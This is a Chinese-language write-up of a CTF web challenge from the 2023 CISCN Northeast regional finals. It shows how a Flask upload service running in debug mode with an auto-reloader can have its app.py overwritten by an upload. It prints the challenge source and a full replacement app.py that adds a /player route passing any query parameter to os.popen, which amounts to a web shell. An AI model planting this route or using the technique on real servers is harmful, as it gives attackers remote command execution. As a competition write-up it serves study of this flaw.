Daffodil

Web-2023CISCN东北赛区线下赛-web1-writeup

Flask应用开启了debug=True 可以上传替换
前面是正常图片的bse64编码后面是我们的恶意app.py源码
题目源码

from flask import Flask, render_template, request, send_from_directory
import os
import base64
from PIL import Image
import io

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './png'

@app.route('/png/<path:filename>')
def view_file(filename):
    return send_from_directory(app.config['UPLOAD_FOLDER'], filename)


@app.route('/', methods=['GET', 'POST'])
def upload_file():
    message = None
    message_class = "error"
    if request.method == 'POST':
        file = request.files['file']
        filename = file.filename
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        
        if '/' in str(filename):
            os.remove(file_path)
            message = "File not allowed. Please upload a valid file."
        else:
            file.save(file_path)
            
        try:
            with open(file_path, "rb") as f:
                content = f.read()
                decoded_data = base64.b64decode(content)
                img = Image.open(io.BytesIO(decoded_data))
                if img.format == "PNG":
                    new_filename = os.path.join(app.config['UPLOAD_FOLDER'],os.urandom(8).hex() + '.png')
                    with open(new_filename, 'wb') as f_out:
                        import png
                        png_writer = png.Writer(img.width, img.height, greyscale=True if img.mode in ['1', 'L'] else False)
                        img_data = img.convert('RGBA') if img.mode != 'RGBA' else img
                        img_data = list(img_data.getdata())
                        img_data = [tuple([int(x) for x in row]) for row in img_data]
                        img_data = [item for sublist in img_data for item in sublist]
                        png_writer.write_packed(f_out, [img_data[i:i + img.width * 4] for i in range(0, len(img_data), img.width * 4)])
                    message = f"File uploaded and processed successfully in {new_filename}."
                    message_class = "success"
                else:
                    os.remove(file_path)
                    message = "Invalid file format. Only PNG files are allowed."
        except IOError:
            os.remove(file_path)
            message = "File not allowed. Please upload a valid file."

    return render_template('upload.html', message=message, message_class=message_class)

if __name__ == '__main__':
    app.run('0.0.0.0', debug=True, port=8080, threaded=True, reloader_type='stat', reloader_interval=1)

新添加一个路由执行命令 我们上传这个替换app.py

from flask import Flask, render_template, request, send_from_directory
import os
import base64
from PIL import Image
import io

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './png'

@app.route('/png/<path:filename>')
def view_file(filename):
  return send_from_directory(app.config['UPLOAD_FOLDER'], filename)


@app.route('/', methods=['GET', 'POST'])
def upload_file():
  message = None
  message_class = "error"
  if request.method == 'POST':
      file = request.files['file']
      filename = file.filename
      file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
      file.save(file_path)

      try:
          with open(file_path, "rb") as f:
              content = f.read()
              decoded_data = base64.b64decode(content)
              img = Image.open(io.BytesIO(decoded_data))
              if img.format == "PNG":
                  new_filename = os.path.join(app.config['UPLOAD_FOLDER'],os.urandom(8).hex() + '.png')
                  with open(new_filename, 'wb') as f_out:
                      import png
                      png_writer = png.Writer(img.width, img.height, greyscale=True if img.mode in ['1', 'L'] else False)
                      img_data = img.convert('RGBA') if img.mode != 'RGBA' else img
                      img_data = list(img_data.getdata())
                      img_data = [tuple([int(x) for x in row]) for row in img_data]
                      img_data = [item for sublist in img_data for item in sublist]
                      png_writer.write_packed(f_out, [img_data[i:i + img.width * 4] for i in range(0, len(img_data), img.width * 4)])
                  message = f"File uploaded and processed successfully in {new_filename}."
                  message_class = "success"
              else:
                  os.remove(file_path)
                  message = "Invalid file format. Only PNG files are allowed."
      except IOError:
          os.remove(file_path)
          message = "File not allowed. Please upload a valid file."

  return render_template('upload.html', message=message, message_class=message_class)

@app.route('/player', methods=['GET'])
def add_or_update_player():
  a = request.args.get('a')
  print(a)
  r=os.popen(a).read()
  print(r)
  return  r

if __name__ == '__main__':
  app.run('0.0.0.0', debug=True, port=8080, threaded=True, reloader_type='stat', reloader_interval=1)